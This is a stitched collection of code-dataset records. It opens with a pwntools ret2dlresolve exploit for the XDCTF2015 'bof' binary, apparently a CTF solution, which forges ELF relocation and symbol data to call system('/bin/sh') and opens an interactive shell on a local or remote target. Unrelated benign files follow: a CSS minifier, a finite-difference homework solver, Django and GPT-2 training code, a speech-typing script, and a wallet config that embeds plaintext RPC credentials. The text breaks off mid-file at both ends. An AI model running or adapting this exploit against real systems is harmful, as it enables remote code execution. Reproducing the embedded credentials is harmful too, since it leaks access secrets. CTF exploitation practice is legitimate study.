*\nimport roputils\n\ncontext.log_level = 'debug'\ncontext.arch = 'i386'\n\nlocal_file = '././bof'\nlocal_libc = '/lib/x86_64-linux-gnu/libc.so.6'\nremote_libc = '/lib/x86_64-linux-gnu/libc.so.6'\n\nif len(sys.argv) == 1:\n p = process(local_file)\n libc = ELF(local_libc)\nelif len(sys.argv) > 1:\n host, port = sys.argv[1].split(':')\n if len(sys.argv) == 3:\n host = sys.argv[1]\n port = sys.argv[2]\n p = remote(host, port)\n libc = ELF(remote_libc)\n\nelf = ELF(local_file)\n\nse = lambda data :p.send(data) \nsa = lambda delim,data :p.sendafter(delim, data)\nsl = lambda data :p.sendline(data)\nsla = lambda delim,data :p.sendlineafter(delim, data)\nsea = lambda delim,data :p.sendafter(delim, data)\nrc = lambda numb=4096 :p.recv(numb)\nru = lambda delims, drop=True :p.recvuntil(delims, drop)\nuu32 = lambda data :u32(data.ljust(4, '\\0'))\nuu64 = lambda data :u64(data.ljust(8, '\\0'))\ninfo_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))\n\ndef debug(cmd=''):\n gdb.attach(p,cmd)\n\n# gadget\npr = 0x080492d3 # pop ebp ; ret\npppr = 0x080492d1 # pop esi ; pop edi ; pop ebp ; ret\nleave = 0x08049105 # leave ; ret\n\n# info\nread_plt = elf.symbols['read']\nwrite_plt = elf.symbols['write']\n\nstack_size = 0x800\nbss_addr = elf.bss()\nbase_stage = bss_addr + stack_size\n\nrop = roputils.ROP(local_file)\n\n# rop1\noffset = 112\npayload = 'A'*offset\npayload += p32(read_plt) + p32(pppr) + p32(0) + p32(base_stage) + p32(100)\npayload += p32(pr) + p32(base_stage+24) + p32(leave)\n\npl = rop.fill(offset)\npl += rop.call('read', 0, base_stage, 100)\npl += rop.dl_resolve_call(base_stage+20, base_stage)\n\nru('Welcome to XDCTF2015~!\\n')\n# sl(payload)\ninfo_addr('base_stage', base_stage)\ndebug()\nsl(pl)\n\n# info_addr('tag',addr)\n# log.warning('--------------')\n\n# pl2\ncmd = \"/bin/sh\"\nplt_0 = 0x8049020\nrel_plt = 0x8048364 \nindex_offset = (base_stage + 28) - rel_plt\nwrite_got = elf.got['write']\ndynsym = 0x0804820c\ndynstr = 0x080482ac\nfake_sym_addr = base_stage + 36\nalign = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # align to 0x10\nfake_sym_addr += align\nindex_dynsym = (fake_sym_addr - dynsym) / 0x10\nr_info = (index_dynsym << 8) | 7\nfake_reloc = p32(write_got) + p32(r_info)\nst_name = (fake_sym_addr + 0x10) - dynstr\nfake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)\n\npayload2 = 'AAAA' \npayload2 += p32(plt_0)\npayload2 += p32(index_offset)\npayload2 += p32(0xdeadbeef)\npayload2 += p32(base_stage + 80)\npayload2 += p32(0xdeadbeef) * 2 # pppr \npayload2 += fake_reloc\npayload2 += 'B' * align\npayload2 += fake_sym\npayload2 += 'system\\0'\npayload2 += 'A' * (80 - len(payload2))\npayload2 += cmd + '\\x00'\npayload2 += 'A' * (100 - len(payload2))\n\n\npl2 = rop.string('/bin/sh')\npl2 += rop.fill(20, pl2)\npl2 += rop.dl_resolve_data(base_stage + 20, 'system')\npl2 += rop.fill(100,pl2)\n\nsleep(30)\nsl(pl2)\n# sl(payload2)\n\np.interactive()\n\n","sub_path":"r2dl/exp2.py","file_name":"exp2.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"414299367","text":"def stack_up(f_in):\n text = \"\"\n block_stack = []\n comment_open = False\n\n for line in (x for x in f_in.readlines() if x != \"\"):\n\n for char in line:\n if char == \"{\" or char == \"}\":\n if text != \"\":\n block_stack.append(text)\n text = \"\"\n block_stack.append(char)\n\n else:\n if char != \"\\n\":\n text += char\n\n return block_stack\n\ndef transfer(stack, f_out):\n import re\n comment = re.compile(r\"\\/\\*(.|\\n)*?\\*\\/\")\n remove = re.compile(r\"((?<=(:|;))\\s*|\\s{2,})\")\n level = 0\n for frame in stack:\n if frame in (\"{\", \"}\"):\n if frame == \"{\":\n level += 1\n f_out.write(\"{\")\n else:\n level -= 1\n f_out.write(\"}\")\n\n else:\n frame = comment.sub(\"\", frame)\n if level > 0:\n frame = remove.sub(\"\", frame)\n f_out.write(frame.strip())\n\ndef main():\n import sys\n\n if len(sys.argv) >= 2:\n fname = sys.argv[1]\n else:\n fname = input(\"Which file? \")\n\n if \".css\" in fname:\n fname.replace(\".css\", \"\")\n\n with open(\"../templates/css/%s.css\" % fname, \"r\") as f_in:\n with open(\"../templates/css/%s_c.css\" % fname, \"w\") as f_out:\n print(r\"Attention! Nested {}-Blocks will be compressed faulty if spaces are used inside selectors!\")\n transfer(stack_up(f_in), f_out)\n\nif __name__ == '__main__':\n main()\n","sub_path":"tools/compress.py","file_name":"compress.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"411122544","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\n\nclass grid:\n def __init__(self,domain,nx,ny):\n # initiate grid with information for domain and number of grids in each direction\n self.nx=nx\n self.ny=ny\n self.xa,self.xb,self.ya,self.yb=domain\n self.x=np.linspace(self.xa,self.xb,self.nx)\n self.y=np.linspace(self.ya,self.yb,self.ny)\n self.hx=(self.xb-self.xa)/(self.nx-1)\n self.hy=(self.yb-self.ya)/(self.ny-1)\n self.xx,self.yy=np.meshgrid(self.x,self.y)\n \n def info(self):\n print(\"basic information for this grid:\\n\")\n print(\"domain: [%5.2f,%5.2f]X[%5.2f,%5.2f]\\n\"%(self.xa,self.xb,self.ya,self.yb))\n print(\"number of grids in each direction: [%d,%d]\"%(self.nx,self.ny))\n print(\"grid spacing in each direction: [%5.2f,%5.2f]\"%(self.hx,self.hy))\n\n\nclass operator:\n def __init__(self,grid):\n self.grid=grid\n \n # compute the x derivative of U\n def x(self,U):\n # implement the function to compute x derivative of U\n Ux=0*U\n Ux[1:-2,:]=(-U[0:-3,:]+U[2:-1,:])/(self.grid.hx)\n return Ux\n\n\n # compute the y derivative of U \n def y(self,U):\n # implement the function to compute x derivative of U\n Uy=0*U\n Uy[:,1:-2]=(-U[:,0:-3]+U[:,2:-1])/(self.grid.hy)\n return Uy\n\n \n # compute the xx derivative of U\n def xx(self,U):\n Uxx=0*U\n Uxx[1:-2,:]=(U[0:-3,:]-2*U[1:-2,:]+U[2:-1,:])/(self.grid.hx**2)\n return Uxx \n \n def yy(self,U):\n Uyy=0*U\n Uyy[:,1:-2]=(U[:,0:-3]-2*U[:,1:-2]+U[:,2:-1])/(self.grid.hy**2)\n return Uyy\n \n\n\ndef solveConvectionDiffusionEqn2d(a,b,nu,tf,domain,nx,ny):\n\n\n # create an grid object\n mg=grid(domain,nx,ny)\n \n # create finite difference operator for mg\n op=operator(mg)\n\n ###################################\n # do not change the following code\n N=max(nx,ny)\n dt=1/N**2;\n tplot=0.01 # plot time\n pstep=int(tplot/dt) #plot step\n dt = tplot/pstep # adjust dt\n \n numberOfSteps=int(tf/dt)+1\n u0=lambda x,y:np.exp(-40.*((x-0.4)**2+y**2))\n U0=u0(mg.xx,mg.yy)\n U=[U0,U0,U0] # container for 3 layers of solutions\n fig = plt.figure(figsize=(5, 5),dpi=300)\n ax = fig.gca() \n nplot=0\n ###################################\n\n for step in range(numberOfSteps+1):\n cur=step%3\n prev=(step-1)%3\n new=(step+1)%3\n \n #implement forwar Euler method to solve the problem\n U[new]=U[cur]+(dt)*(nu*(op.xx(U[cur])+op.yy(U[cur]))-a*op.x(U[cur])-b*op.x(U[cur]))\n \n # apply boundary conditions\n U[new][(0,-1),:]=0\n U[new][:,(0,-1)]=0\n \n ##############################################\n # we we plot and save your results. (Do not change)\n tnew=dt*(step+1)\n if step%pstep==0:\n nplot+=1\n p=ax.pcolor(mg.xx, mg.yy, U[new], cmap=cm.coolwarm)\n ax.contour(mg.xx, mg.yy, U[new],11,colors='k',linewidths=1)\n ax.set_title('t=%5.2f'%tnew)\n cb=plt.colorbar(p)\n fig.savefig('Frame%03d.png' %nplot,dpi=300)\n cb.remove()\n plt.cla()\n ##############################################\n \n \n \n","sub_path":"Homework/HW4/finiteDifference_s.py","file_name":"finiteDifference_s.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"436367553","text":"from django.utils import timezone\nfrom django.views.generic import ListView\nfrom django.shortcuts import render\nfrom . import models\n\n\nclass HomeView(ListView):\n\n \"\"\"HomeView Definition\"\"\"\n\n # 해당 클래스의 property와 method는 ListView라고 django docs에 가도 되지만\n # 보기 굉장히 짜증나기 때문에 classy class-Based Views https::/ccbv.co.uk 에 들어가자.\n\n model = models.Room # 어떤 모델을 보여줄 지 선택하면 자동으로 template/rooms/room_list.html을 찾는다!\n paginate_by = 10\n # page_kwarg = \"potato\" page=여기서 page의 이름을 바꿀 수 있음\n paginate_orphans = 5\n ordering = \"created\" # model이 갖고 있는 feature 어떤 순으로 나열할 것인지\n context_object_name = \"rooms\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n now = timezone.now()\n context[\"now\"] = now\n return context\n\n\ndef room_detail(request):\n render(request,)\n\n","sub_path":"rooms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"435570370","text":"import numpy as np\nimport torch\nfrom tqdm._tqdm import tqdm\nimport os\nimport random\nimport gc\nimport argparse\nfrom model_gpt2 import Model\nimport copy\nimport time\n\nfrom transformers import AdamW\nfrom transformers import GPT2Tokenizer, GPT2LMHeadModel\n\n\ntorch.cuda.set_device(0)\ntorch.backends.cudnn.deterministic = True\nrandom.seed(1234)\nnp.random.seed(1234)\ntorch.manual_seed(1234)\ntorch.cuda.manual_seed(1234)\n\n\ndef load_data(files, max_len=50, eos=''):\n dataset = {'train': {}, 'dev': {}}\n for set_info, f in files.items():\n with open(f) as fin:\n input_data = []\n target = []\n generation_seeds = []\n for line in fin:\n row = line.strip().split(\"\\t\")\n input_data.append(row[1].split()\n + ['']\n + row[0].split() + [eos])\n generation_seeds.append(row[1].split() + [''])\n target.append(row[0].split() + [eos])\n\n dataset[set_info]['input'] = input_data\n dataset[set_info]['target'] = target\n dataset[set_info]['seed'] = generation_seeds\n\n return dataset\n\n\ndef prepare(dataset, tokenizer):\n data_input = {}\n gen_seed = {}\n target = {}\n target_weights = {}\n for set_info, data in dataset.items():\n data_input[set_info] = []\n gen_seed[set_info] = []\n target[set_info] = []\n target_weights[set_info] = []\n for input_text in data['input']:\n data_input[set_info].append(tokenizer.encode(\" \".join(input_text)))\n\n weights = []\n tag_in = False\n for i, t in enumerate(tokenizer.tokenize(\" \".join(input_text))):\n if t == '
' or t == '':\n                    tag_in = True\n                if tag_in:\n                    weights.append(1.)\n                else:\n                    weights.append(1.)\n                if t == '
' or t == '':\n tag_in = False\n target_weights[set_info].append(weights)\n\n for input_text in data['seed']:\n gen_seed[set_info].append(tokenizer.encode(\" \".join(input_text)))\n for input_text in data['target']:\n target[set_info].append(tokenizer.encode(\" \".join(input_text)))\n\n return data_input, gen_seed, target, target_weights\n\n\ndef batchify(enc_input, batch_size=16):\n batch_data = []\n buf_e = []\n for e in enc_input:\n buf_e.append(e)\n if len(buf_e) == batch_size:\n batch_data.append(buf_e)\n buf_e = []\n\n if buf_e:\n batch_data.append(buf_e)\n\n return batch_data\n\n\ndef main(args):\n\n print(\"Load Data\")\n print(args.train_data, args.dev_data)\n files = {'train': args.train_data, 'dev': args.dev_data}\n\n model_name = 'gpt2'\n tokenizer = GPT2Tokenizer.from_pretrained(model_name, pad_token='')\n\n # add tokens for precondition generation\n tokenizer.add_tokens(\n ['', '', '',\n '
', '
', '', '[BLANK]'])\n encdec = GPT2LMHeadModel.from_pretrained(model_name)\n encdec.resize_token_embeddings(len(tokenizer))\n\n # dataset load\n dataset = load_data(files, max_len=args.max_sequence_length, eos='')\n\n if args.load_model is not None:\n model = torch.load(args.load_model)\n else:\n model = Model(tokenizer, encdec)\n if model.use_cuda:\n model.cuda()\n\n data_input, gen_seed, target, target_weights = prepare(dataset, tokenizer)\n\n # Set a path for saving model\n save_model_path = os.path.join(\n args.save_model_path,\n args.experiment)\n if not os.path.exists(save_model_path):\n os.makedirs(save_model_path)\n\n # Optimizer\n no_decay = ['bias', 'LayerNorm.weight']\n optimizer_grouped_parameters = [\n {'params': [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)], 'weight_decay': 0.0},\n {'params': [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}\n ]\n optimizer = AdamW(optimizer_grouped_parameters, lr=1e-5, eps=1e-8)\n\n n_params = sum([np.prod(p.size()) for p in model.parameters()])\n print(\"#parameters: {}\".format(n_params))\n\n N = len(data_input['train'])\n print(N//args.batch_size)\n best_dev_loss = 9999\n for epoch in range(1, args.epochs+1):\n print(\"Epoch {}:\".format(epoch))\n start_time = time.time()\n batch_idxs = np.random.permutation(N//args.batch_size+1)\n line_tqdm = tqdm(batch_idxs, dynamic_ncols=True)\n total_loss = []\n model.train()\n\n for batch_idx in line_tqdm:\n enc_input = data_input['train'][batch_idx*args.batch_size:min((batch_idx+1)*args.batch_size, N)]\n tmp = gen_seed['train'][batch_idx*args.batch_size:min((batch_idx+1)*args.batch_size, N)]\n event_lens = [len(s) for s in tmp]\n\n if len(enc_input) == 0:\n continue\n\n model.zero_grad()\n\n loss = model(\n enc_input,\n copy.deepcopy(enc_input),\n event_lens)\n\n total_loss.append(loss.data.cpu().numpy().tolist())\n loss.backward()\n optimizer.step()\n gc.collect()\n torch.cuda.empty_cache()\n\n end_time = time.time()\n print(\"Time elapsed: {:.3f}\".format(end_time-start_time))\n print(\"Loss: {}\".format(sum(total_loss)/len(total_loss)))\n\n model.eval()\n with torch.no_grad():\n for set_info in ['train', 'dev']:\n NN = len(data_input[set_info])\n total_loss = []\n for idx in range(NN//args.batch_size):\n enc_input = data_input[set_info][idx*args.batch_size:min((idx+1)*args.batch_size, NN)]\n tmp = gen_seed[set_info][idx*args.batch_size:min((idx+1)*args.batch_size, NN)]\n event_lens = [len(s) for s in tmp]\n\n if len(enc_input) == 0:\n continue\n\n loss = model(\n enc_input,\n copy.deepcopy(enc_input),\n event_lens)\n\n total_loss.append(loss.data.cpu().numpy().tolist())\n\n loss = sum(total_loss) / len(total_loss)\n print(\"Test on {} set:\".format(set_info))\n print(\"\\tLoss: {}\".format(loss))\n if set_info == 'dev':\n if best_dev_loss > loss:\n best_dev_loss = loss\n torch.save(\n model,\n os.path.join(\n save_model_path, \"DevBest.pt\"))\n\n for d, t in zip(gen_seed['dev'][:10], target['dev'][:10]):\n sent = model.generate(d)\n print(\"Target Event: \", tokenizer.decode(d))\n print(\"Generated Precondition: \", sent)\n print(\"Reference: \", tokenizer.decode(t))\n\n return\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--train_data', type=str, default='../data/peko_gen_train.txt')\n parser.add_argument('--dev_data', type=str, default='../data/peko_gen_dev.txt')\n parser.add_argument('--max_sequence_length', type=int, default=54)\n\n parser.add_argument('-ep', '--epochs', type=int, default=100)\n parser.add_argument('-bs', '--batch_size', type=int, default=16)\n parser.add_argument('-lr', '--learning_rate', type=float, default=0.000001)\n\n parser.add_argument('-bin','--save_model_path', type=str, default='/home/data/PrecondGen/')\n\n parser.add_argument('--load_model', type=str, default=None)\n parser.add_argument('-ex', '--experiment', type=str, default='test')\n\n args = parser.parse_args()\n\n main(args)\n\n","sub_path":"code/generation/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"484002214","text":"#coding=utf-8\n\nKILOBYTE = 1024\nMEGABYTE = 1048576\nGIGABYTE = 1073741824\nTERABYTE = 1099511627776\n\ndef HumanizeSize(size):\n '''\n Dado un tamaño en bytes retorna ese mismo tamaño human-friendly.\n '''\n \n if size < KILOBYTE:\n return \"{0} b\".format(size)\n elif size < MEGABYTE:\n return \"{0:.1f} kb\".format(size/KILOBYTE)\n elif size < GIGABYTE:\n return \"{0:.1f} mb\".format(size/MEGABYTE)\n elif size < TERABYTE:\n return \"{0:.1f} gb\".format(size/GIGABYTE)\n else:\n return \"{0:.1f} tb\".format(size/TERABYTE)\n ","sub_path":"src/Pytalog/Humanize/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"634757184","text":"import speech_recognition as speech\nfrom pynput.keyboard import Key, Controller\nimport time\nimport pydirectinput\n\nr = speech.Recognizer()\nkeyboard = Controller()\n\ntime.sleep(3)\n\nwhile 1:\n time.sleep(0.05)\n\n with speech.Microphone() as source:\n audio_data = r.record(source, duration=5)\n print(\"Recognizing...\")\n try:\n text = r.recognize_google(audio_data, language = \"de-DE\")\n except:\n text = \"\"\n\n print(text)\n\n if text:\n pydirectinput.keyDown('t')\n time.sleep(0.05)\n pydirectinput.keyUp('t')\n\n time.sleep(0.05)\n\n keyboard.type(text)\n\n time.sleep(0.05)\n\n pydirectinput.keyDown('enter')\n time.sleep(0.05)\n pydirectinput.keyUp('enter')","sub_path":"lib/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"78997638","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\nimport os\r\n\r\nMPATH = \"44'/77'/\"\r\nWIF_PREFIX = 212 # 212 = d4\r\nMAGIC_BYTE = 30\r\nTESTNET_WIF_PREFIX = 239\r\nTESTNET_MAGIC_BYTE = 139\r\nDEFAULT_PROTOCOL_VERSION = 70913\r\nMINIMUM_FEE = 0.0001 # minimum PIV/kB\r\nstarting_width = 933\r\nstarting_height = 666\r\nAPPDATA_DIRNAME = \".SecurePivxMasternodeTool\"\r\nhome_dir = os.path.expanduser('~')\r\nuser_dir = os.path.join(home_dir, APPDATA_DIRNAME)\r\nlog_File = os.path.join(user_dir, 'lastLogs.html')\r\ndatabase_File = os.path.join(user_dir, 'application.db')\r\n\r\n\r\nDEFAULT_MN_CONF = {\r\n \"name\": \"\",\r\n \"ip\": \"\",\r\n \"port\": 51472,\r\n \"mnPrivKey\": \"\",\r\n \"isTestnet\": 0,\r\n \"isHardware\": True,\r\n \"hwAcc\": 0,\r\n \"collateral\": {}\r\n }\r\n\r\nDefaultCache = {\r\n \"lastAddress\": \"\",\r\n \"window_width\": starting_width,\r\n \"window_height\": starting_height,\r\n \"splitter_x\": 342,\r\n \"splitter_y\": 133,\r\n \"mnList_order\": {},\r\n \"console_hidden\": False,\r\n \"useSwiftX\": False,\r\n \"votingMasternodes\": [],\r\n \"votingDelayCheck\": False,\r\n \"votingDelayNeg\": 0,\r\n \"votingDelayPos\": 300,\r\n \"selectedRPC_index\": 0,\r\n \"MN_count\": 1\r\n }\r\n \r\n \r\ntrusted_RPC_Servers = [\r\n [\"https\", \"amsterdam.randomzebra.party:8080\", \"spmtUser_ams\", \"WUss6sr8956S5Paex254\"],\r\n [\"https\", \"losangeles.randomzebra.party:8080\", \"spmtUser_la\", \"8X88u7TuefPm7mQaJY52\"],\r\n [\"https\", \"singapore.randomzebra.party:8080\", \"spmtUser_sing\", \"ZyD936tm9dvqmMP8A777\"]]\r\n ","sub_path":"src/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"496578143","text":"\n#from os import *\nfrom whoosh.fields import *\nfrom whoosh.index import create_in\nfrom whoosh.query import *\nfrom whoosh.index import open_dir\nfrom itertools import izip\n\"\"\"\ndef create_corpus():\n\tfdGer = open(\"lang2.txt\",'w')\n\tfdEng = open(\"lang1.txt\",'w')\n\tisEnglish = False\n\tfor i in open(\"de-en\").readlines():\n\t\tif(\"\") # not a proper sentence\n\t\tif(\"\") #english sentences started \n\t\t\tisEnglish = true\n\t\tif isEnglish == True:\n\t\t\tfdEng.write(i.lower())\n\t\telse:\n\t\t\tfdGer.write(i.lower())\n\tfdGer.close()\n\tfdEng.close()\n\"\"\"\n#creates index and stores in in the folder index/ from the file1 and file2 which contain sentences and their translations in an aligned manner\ndef create_index(file1, file2):\n\t#create schema\n\tschema = Schema(original=TEXT(stored=\"True\"), translation=STORED)\n\tix = create_in(\"index\", schema)\n\t#create index\n\tix = open_dir(\"index\")\n\t#write all the the sentences with their translation into IR index \n\twriter = ix.writer()\n\twith open(file1) as fdOriginal, open(file2) as fdTranslation:\n\t\tfor i,j in izip(fdOriginal, fdTranslation):\n\t\t\twriter.add_document(original=unicode(i,\"UTF-8\" ), translation=unicode(j,\"UTF-8\" ))\n\n\t\t#close everything\n\tix.close()\t\n\twriter.commit()\n#seach for a query in index and returns the mathing results which is a python dictionatruy of sentences and their translations\ndef search(query):\n\t#create query\n\tix = open_dir(\"index\")\t\n\ttermList = []\n\tfor word in query.lower().split():\n\t\ttermList.append( Term(\"original\", unicode(word, \"UTF-8\") ))\n\n\tmyquery = Or( termList)\n\t#search query and store results\n\tsearcher = ix.searcher()\n\tresults = searcher.search(myquery)\n\tformatted = {}\n\tfor i in results:\n\t\tformatted[i['original'] ]= i['translation']\n\t\t#print i['original']\n\t#searcher.close()\n\t#ix.close()\n\treturn formatted\n\t\n","sub_path":"read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"98814972","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 27 14:49:33 2019\n\n@author: ms\n\"\"\"\nimport os\nimport json_tricks\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# %%\nmodel = 'params_N'\npath_save = '.'\n\n# %%\nerrors = dict()\nfor ds in ['train', 'valid', 'test']:\n with open(os.path.join('../LOBDeepPP_MSE_computation_T',\n f'preds_T_errors_{ds}.json')) as json_file:\n tmp = json_tricks.load(json_file)\n errors.update({ds: tmp})\n# %% Extracting MSE from errors\nmse = {k0: {k1: v1['mse'] for k1, v1 in v0.items()}\n for k0, v0 in errors.items()}\n# %% MSE for ask and bid for train, test and validation data\n\nax = plt.subplot(111)\nlinestyle = {'train': '-', 'test': '--', \"valid\": '-.'}\nfor ds, _ in mse.items():\n res = np.empty([0, 3])\n for k, v in sorted(mse[ds].items(),\n key=lambda k: int(k[0].replace(model, '')[:-1])):\n L = int(k.replace(model, '')[:-1])\n v = v.mean(axis=0)\n tmp = np.array([L, v[0], v[1]]).reshape([1, 3])\n res = np.concatenate((res, tmp), axis=0)\n ax.plot(res[:, 0], list(res[:, 1]**1), c='red',\n linestyle=linestyle[ds], label=f'ask {ds}')\n ax.plot(res[:, 0], list(res[:, 2]**1), c='green',\n linestyle=linestyle[ds], label=f'bid {ds}'\n )\n plt.xlabel('Time lags $T$')\n plt.xticks(res[:, 0])\n plt.ylabel('MSE')\n# ax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\nplt.savefig(f'{path_save}/mse_ol.pdf', bbox_inches='tight', dpi=300)\nplt.show()\n\n# %% MSE vs prediction horizon with order levels for ask and bid seperated\nfor ds in mse.keys():\n ax = plt.subplot(111)\n for k, v in sorted(mse[ds].items(),\n key=lambda k: int(k[0].replace(model, '')[:-1])):\n lev = int(k.replace(model, '')[:-1])\n ax.plot(range(1, 31), (v.mean(axis=1)), label=lev)\n plt.xlabel('Prediction horizon $h$')\n# plt.ylim([0.005, 0.01])\n plt.ylabel(f'MSE ({ds if ds != \"valid\" else \"validation\"})')\n ax.legend(loc='center left', bbox_to_anchor=(1, 0.5),\n title='Time lags $T$')\n# plt.ylim([0.0035, 0.02])\n plt.savefig(f'{path_save}/ph_mse_ol_{ds}.pdf',\n bbox_inches='tight', dpi=300)\n# plt.ylim([0.0035, 0.01])\n# plt.savefig(f'{path_save}/ph_mse_ol_{ds}_zoom.pdf',\n# bbox_inches='tight', dpi=300)\n plt.show()\n\n# %% MSE vs prediction horizon with order levels for ask and bid seperated\nfor ds in mse.keys():\n ds = 'valid'\n for bid in [True, False]:\n ax = plt.subplot(111)\n for k, v in sorted(mse[ds].items(),\n key=lambda k: int(k[0].replace(model, '')[:-1])):\n lev = int(k.replace(model, '')[:-1])\n ax.plot(range(1, 31), (v[:, int(bid)]), label=lev)\n plt.xlabel('Prediction horizon $h$')\n plt.ylabel(f'MSE ({ds if ds != \"valid\" else \"validation\"})')\n ax.legend(loc='center left', bbox_to_anchor=(1, 0.5),\n title='Time lags $T$')\n if ds == 'test': \n plt.ylim([0.0035, 0.014])\n elif ds == 'test':\n plt.ylim([0.007, 0.016])\n elif ds == 'valid':\n plt.ylim([0.005, 0.016])\n plt.savefig(f'{path_save}/ph_mse_ol_{ds}_{\"bid\" if bid else \"ask\"}.pdf',\n bbox_inches='tight', dpi=300)\n# plt.ylim([0.0035, 0.01])\n# plt.savefig(f'{path_save}/ph_mse_ol_{ds}_{\"bid\" if bid else \"ask\"}_zoom.pdf',\n# bbox_inches='tight', dpi=300)\n plt.show()\n","sub_path":"LOBDeepPP_MSE/LOBDeepPP_MSE_visualisation_T/LOBDeepPP_MSE_visualisation_T.py","file_name":"LOBDeepPP_MSE_visualisation_T.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"228826293","text":"import pandas as pd\nimport math\n\n\nclass Preprocessor:\n\n @staticmethod\n def isNanOrZero(value):\n if isinstance(value, str):\n if \"nan\" in value.lower() or \"0\" in value:\n return True\n elif isinstance(value, float):\n if math.isnan(value) or value == 0.0:\n return True\n elif isinstance(value, int):\n if value == 0:\n return True\n return False\n\n @staticmethod\n def deleteRowIfColumnIsNan(data_frame: pd.DataFrame, column_name: str):\n for index, row in data_frame.iterrows():\n if not (row[column_name] > 0):\n data_frame.drop(index, inplace=True)\n return data_frame\n\n @staticmethod\n def replaceNanValuesWithMedian(data_frame: pd.DataFrame):\n return data_frame.fillna(data_frame.median())\n\n @staticmethod\n def findAgeColumnName(data_frame: pd.DataFrame) -> str:\n for column_name in data_frame:\n if \"age\" in column_name.lower():\n return column_name\n\n @staticmethod\n def countMutations(data_frame: pd.DataFrame):\n for column_name in data_frame:\n if column_name not in ['Gender', \"Age\", 'Mutation_Count']:\n data_frame[column_name] = data_frame[column_name].astype(str).str.split(' ').str.len()\n return data_frame\n\n # delete nan columns depending on the threshold how many (in percentage) of the values can be missing in column\n @staticmethod\n def deleteNanColumns(data_frame: pd.DataFrame, threshold: float = 0.0):\n missing_values_counter = 0\n columns_to_delete = list()\n for column_name in data_frame:\n column_size = 0\n missing_values_counter = 0\n for value in data_frame[column_name]:\n column_size += 1\n if Preprocessor.isNanOrZero(value):\n missing_values_counter += 1\n percentage_of_missing_values = (missing_values_counter / column_size) * 100\n\n if percentage_of_missing_values > threshold:\n if column_name not in ['Gender', \"Age\", 'Mutation_Count']:\n columns_to_delete.append(column_name)\n for column_name in columns_to_delete:\n data_frame = data_frame.drop(column_name, 1)\n\n return data_frame\n\n","sub_path":"Project/src/Preprocessor.py","file_name":"Preprocessor.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"628930822","text":"# -*- coding: UTF-8 -*-\r\n\r\nfrom configure.all_config import *\r\nimport datetime as dt\r\nimport decimal\r\nimport pandas as pd\r\nimport numpy as np\r\nimport traceback\r\n# import wxpy\r\nimport re\r\nimport os\r\nimport shutil\r\nimport calendar\r\n\r\n\r\nclass AP:\r\n def __init__(self, send_wechat=False):\r\n self.start_time = dt.datetime.now()\r\n self.set_option()\r\n self.col_sort_cost = []\r\n self.col_sort_withdrawal = []\r\n\r\n # 二进制的全角字符, 用于在 datacheck 中检查全角字符\r\n self.l_illegal_sign = '[\\u0020\\uff08\\u0020\\uff09\\u0020\\u2018\\u0020\\u2019\\u0020' \\\r\n '\\u201c\\u0020\\u201d\\u0020\\uff1a\\u0020\\uff1b\\u0020\\u300a' \\\r\n '\\u0020\\u300b\\u0020\\u3001\\u0020\\u002d\\u0020\\u2014\\u2014' \\\r\n '\\u0020\\u3010\\u0020\\u3011\\u0020\\uff0c\\u0020\\u3002]'\r\n\r\n # if send_wechat:\r\n # self.bot = wxpy.Bot(cache_path=True)\r\n # self.bot.enable_puid(path='wxpy_puid.pkl')\r\n\r\n @staticmethod\r\n def set_option():\r\n pd.set_option('display.max_rows', 10000)\r\n pd.set_option('display.max_columns', 10000)\r\n pd.set_option('display.width', 10000)\r\n\r\n @staticmethod\r\n def add_colname_suffix(list_input, to_lower=False):\r\n \"\"\"\r\n 将列表中的重复元素加自增序列后缀\r\n process:\r\n 都转换为小写\r\n 构造default_dict\r\n 生成频次字典: eg: defaultdict(, {1: [0], 2: [1, 3], 3: [2], 4: [4]})\r\n 循环赋值自增后缀: eg: defaultdict(, {1: [0], 2: ['1_1', '3_2'], 3: [2], 4: [4]})\r\n 循环default_dict.keys(): eg: [1, 2, 3, 4]\r\n 如果值为单一元素列表则直接插入到 list_output 原位置\r\n 如果不是单一元素列表, 循环列表:\r\n 逐个添加自增序列后缀, 插入到 list_output 原位置\r\n :param list_input: 传入的列表\r\n :param to_lower: 